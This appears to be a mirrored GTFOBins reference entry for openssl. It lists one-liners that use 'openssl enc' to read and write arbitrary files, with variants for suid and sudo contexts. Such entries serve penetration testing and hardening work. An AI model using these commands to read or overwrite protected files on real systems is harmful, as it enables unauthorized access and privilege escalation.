1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/openssl.md
2018-12-17 14:46:30 +01:00

538 B

functions
file-write file-read suid sudo
code
LFILE=file_to_write echo DATA | openssl enc -out "$LFILE"
code
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF openssl enc -in "$TF" -out "$LFILE"
code
LFILE=file_to_read openssl enc -in "$LFILE"
code
LFILE=file_to_write echo DATA | openssl enc -out "$LFILE"
code
LFILE=file_to_write echo DATA | sudo openssl enc -out "$LFILE"